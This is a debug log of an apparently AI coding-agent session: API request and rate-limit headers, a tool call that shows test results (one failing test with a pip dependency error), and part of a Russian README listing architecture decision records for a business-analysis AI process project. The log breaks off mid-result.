[log_176642] sending request {\n[2026-09-29T07:59:35.457Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:59:35.461Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:35.466Z] [STDOUT]   options: {\n[2026-09-29T07:59:35.472Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:59:35.478Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:59:35.480Z] [STDOUT]     body: {\n[2026-09-29T07:59:35.485Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:59:35.489Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:59:35.494Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:59:35.498Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:59:35.501Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:59:35.503Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:59:35.507Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:59:35.510Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:59:35.512Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:59:35.514Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:59:35.519Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:59:35.521Z] [STDOUT]       stream: true,\n[2026-09-29T07:59:35.522Z] [STDOUT]     },\n[2026-09-29T07:59:35.524Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:59:35.529Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:59:35.531Z] [STDOUT]       aborted: false,\n[2026-09-29T07:59:35.533Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:59:35.535Z] [STDOUT]       onabort: null,\n[2026-09-29T07:59:35.538Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:59:35.540Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:59:35.543Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:59:35.546Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:59:35.550Z] [STDOUT]     },\n[2026-09-29T07:59:35.552Z] [STDOUT]     stream: true,\n[2026-09-29T07:59:35.556Z] [STDOUT]   },\n[2026-09-29T07:59:35.558Z] [STDOUT]   headers: {\n[2026-09-29T07:59:35.560Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:59:35.563Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:59:35.568Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:59:35.571Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:59:35.577Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:59:35.579Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:59:35.581Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:59:35.583Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:59:35.592Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:59:35.596Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=65178\",\n[2026-09-29T07:59:35.598Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:59:35.600Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:59:35.602Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:35.606Z] [STDOUT]     \"x-client-request-id\": \"160a49e0-5773-4c89-99f2-5ab2a100d200\",\n[2026-09-29T07:59:35.614Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:59:35.619Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:59:35.622Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:59:35.624Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:59:35.626Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:59:35.628Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:59:35.632Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:59:35.634Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:59:35.637Z] [STDOUT]   },\n[2026-09-29T07:59:35.639Z] [STDOUT] }\n[2026-09-29T07:59:36.441Z] [STDOUT] [log_176642, request-id: \"req_011CfXNqTt3fa5nkc5oHhA2p\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 994ms\n[2026-09-29T07:59:36.444Z] [STDOUT] [log_176642] response start {\n[2026-09-29T07:59:36.448Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:36.450Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:36.452Z] [STDOUT]   headers: {\n[2026-09-29T07:59:36.455Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:36.457Z] [STDOUT]     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\"rejected\",\n[2026-09-29T07:59:36.495Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:59:36.497Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:59:36.499Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:36.502Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:36.505Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:59:36.507Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:36.508Z] [STDOUT]     \"cf-ray\": \"a42973069a9a5d90-FRA\",\n[2026-09-29T07:59:36.512Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:59:36.514Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:59:36.516Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:59:36.520Z] [STDOUT]     \"content-type\": \"text/event-stream; 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\"date\": \"Tue, 29 Sep 2026 07:59:36 GMT\",\n[2026-09-29T07:59:36.556Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:59:36.561Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:59:36.563Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:59:36.565Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:59:36.567Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:59:36.569Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:59:36.571Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:59:36.573Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:59:36.575Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:59:36.576Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:59:36.579Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:59:36.581Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:59:36.582Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T07:59:36.586Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:59:36.588Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:59:36.593Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:59:36.595Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:59:36.597Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:59:36.599Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:59:36.604Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:59:36.606Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:36.610Z] [STDOUT]   \"request-id\": \"req_011CfXNqTt3fa5nkc5oHhA2p\",\n[2026-09-29T07:59:36.615Z] [STDOUT]   \"traceresponse\": \"00-2db28e39ed8c1ac47532ba47c8db34b8-1477a3f787bef8ba-01\",\n[2026-09-29T07:59:36.620Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:36.622Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:36.625Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:59:36.626Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:36.628Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:59:36.630Z] [STDOUT]   \"cf-ray\": \"a42973069a9a5d90-FRA\",\n[2026-09-29T07:59:36.632Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:59:36.635Z] [STDOUT] [log_176642] response parsed {\n[2026-09-29T07:59:36.637Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:36.641Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:36.643Z] [STDOUT]   body: X {\n[2026-09-29T07:59:36.645Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:59:36.647Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:59:36.651Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:59:36.653Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:59:36.655Z] [STDOUT]     },\n[2026-09-29T07:59:36.657Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:59:36.659Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:59:36.661Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:59:36.662Z] [STDOUT]   },\n[2026-09-29T07:59:36.664Z] [STDOUT]   durationMs: 996,\n[2026-09-29T07:59:36.666Z] [STDOUT] }\n[2026-09-29T07:59:37.894Z] [INFO] {\n[2026-09-29T07:59:37.894Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:37.894Z] [INFO] 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\"request_id\": \"req_011CfXNqTt3fa5nkc5oHhA2p\",\n[2026-09-29T07:59:37.894Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:59:37.894Z] [INFO]     \"toolu_01MV1DksUpiQNrbdnnR6A9cE\": {\n[2026-09-29T07:59:37.894Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bdpybtf2y.output; sed -n 117,160p projects/ba-ai-process/README.md\",\n[2026-09-29T07:59:37.894Z] [INFO]       \"description\": \"Show test results and README sections\"\n[2026-09-29T07:59:37.894Z] [INFO]     }\n[2026-09-29T07:59:37.894Z] [INFO]   }\n[2026-09-29T07:59:37.894Z] [INFO] }\n[2026-09-29T07:59:37.954Z] [INFO] {\n[2026-09-29T07:59:37.954Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T07:59:37.954Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T07:59:37.954Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T07:59:37.954Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T07:59:37.954Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T07:59:37.954Z] [INFO]     \"utilization\": 0.78,\n[2026-09-29T07:59:37.954Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T07:59:37.954Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T07:59:37.954Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T07:59:37.954Z] [INFO]       \"five_hour\": {\n[2026-09-29T07:59:37.954Z] [INFO]         \"utilization\": 0.44,\n[2026-09-29T07:59:37.954Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T07:59:37.954Z] [INFO]       },\n[2026-09-29T07:59:37.954Z] [INFO]       \"seven_day\": {\n[2026-09-29T07:59:37.954Z] [INFO]         \"utilization\": 0.78,\n[2026-09-29T07:59:37.954Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:59:37.954Z] [INFO]       }\n[2026-09-29T07:59:37.954Z] [INFO]     }\n[2026-09-29T07:59:37.954Z] [INFO]   },\n[2026-09-29T07:59:37.954Z] [INFO]   \"uuid\": \"6dafc44f-435d-4e2c-b653-5cec87f70a2f\",\n[2026-09-29T07:59:37.954Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:59:37.954Z] [INFO] }\n[2026-09-29T07:59:39.814Z] [INFO] {\n[2026-09-29T07:59:39.814Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:59:39.814Z] [INFO]   \"message\": {\n[2026-09-29T07:59:39.814Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:59:39.814Z] [INFO]     \"content\": [\n[2026-09-29T07:59:39.814Z] [INFO]       {\n[2026-09-29T07:59:39.814Z] [INFO]         \"tool_use_id\": \"toolu_01MV1DksUpiQNrbdnnR6A9cE\",\n[2026-09-29T07:59:39.814Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:59:39.814Z] [INFO]         \"content\": \" .gitkeep | 1 +\\n 1 file changed, 1 insertion(+)\\n.gitkeep\\nPASS tools/test-bcreq-working-release-pipeline.sh\\nPASS tools/test-check-agent-work-rules-size.sh\\nPASS tools/test-cline-package.sh\\nPASS tools/test-evidence-structure-validator.sh\\nFAIL tools/test-execution-package.sh\\n----------------------------------------------------------------------\\nRan 4 tests in 0.085s\\n\\nOK\\nERROR: install pinned dependencies with pip install -r requirements.txt\\nPASS tools/test-frontmatter-validator.sh\\nPASS tools/test-historical-immutable.sh\\nPASS tools/test-mango-kb-migration-contract.sh\\nPASS tools/test-nonempty-diff.sh\\nPASS tools/test-operating-mode-contract.sh\\nPASS tools/test-post-migration-validator.sh\\nPASS tools/test-reference-research-terminology.sh\\nPASS tools/test-smart-sync.sh\\nPASS tools/test-sprint-5-agent-model.sh\\nPASS tools/test-validate-rrp-links.sh\\n\\n[exited with code 0]\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e GigaCode CLI\\n\\n\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0440\u0435\u0434\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0432\\n[`docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md).\\nIssue [#593](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/593)\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0432 Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439\\n`mango-ba-ai-runtime-cli`.\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n\u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b **\u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f**: \u043e\u043d\u0438\\n\u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 [`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md)\\n\u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u043c\u0435\u0440\u0430. \u041c\u043e\u0434\u0443\u043b\u0438 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445,\\n\u0430 \u043d\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442:\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md);\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md);\\n- [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md);\\n- [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md);\\n- [`2026-09-10-skill-granularity-format-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-skill-granularity-format-facts.md).\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)\\n  \u2014 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438;\\n- [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n  \u2014 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b;\\n- [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md)\\n  \u2014 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430;\\n- [ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md)\\n  \u2014 \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438, \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043a\u0430\u043a \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e;\\n- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n  \u2014 \u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 Source, Distribution, Runtime \u0438 Feedback.\\n- [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode CLI.\\n- [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 Cline \u0434\u043b\u044f \u043f\u0438\u043b\u043e\u0442\u0430 \u0441 Mango AI.\\n\\n## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 **\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u043f\u043e\u043b\u043d\u044b\u0435 URL), \u043a\u0430\u043a \u0438 \u0432\u043e \u0432\u0441\u0451\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 `ba-requirements`.\\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\",\n[2026-09-29T07:59:39.814Z] [INFO]         \"is_error\": false\n[2026-09-29T07:59:39.814Z] [INFO]       }\n[2026-09-29T07:59:39.814Z] [INFO]     ]\n[2026-09-29T07:59:39.814Z] [INFO]   },\n[2026-09-29T07:59:39.814Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:39.814Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:39.814Z] [INFO]   \"uuid\": \"c2d60329-5b31-40d9-afef-5583525f6c77\",\n[2026-09-29T07:59:39.814Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:39.776Z\",\n[2026-09-29T07:59:39.814Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:59:39.814Z] [INFO]     \"stdout\": \" .gitkeep | 1 +\\n 1 file changed, 1 insertion(+)\\n.gitkeep\\nPASS tools/test-bcreq-working-release-pipeline.sh\\nPASS tools/test-check-agent-work-rules-size.sh\\nPASS tools/test-cline-package.sh\\nPASS tools/test-evidence-structure-validator.sh\\nFAIL tools/test-execution-package.sh\\n----------------------------------------------------------------------\\nRan 4 tests in 0.085s\\n\\nOK\\nERROR: install pinned dependencies with pip install -r requirements.txt\\nPASS tools/test-frontmatter-validator.sh\\nPASS tools/test-historical-immutable.sh\\nPASS tools/test-mango-kb-migration-contract.sh\\nPASS tools/test-nonempty-diff.sh\\nPASS tools/test-operating-mode-contract.sh\\nPASS tools/test-post-migration-validator.sh\\nPASS tools/test-reference-research-terminology.sh\\nPASS tools/test-smart-sync.sh\\nPASS tools/test-sprint-5-agent-model.sh\\nPASS tools/test-validate-rrp-links.sh\\n\\n[exited with code 0]\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e GigaCode CLI\\n\\n\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0440\u0435\u0434\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0432\\n[`docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md).\\nIssue [#593](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/593)\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0432 Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439\\n`mango-ba-ai-runtime-cli`.\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n\u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b **\u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f**: \u043e\u043d\u0438\\n\u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 [`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md)\\n\u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u043c\u0435\u0440\u0430. \u041c\u043e\u0434\u0443\u043b\u0438 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445,\\n\u0430 \u043d\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442:\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md);\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md);\\n- 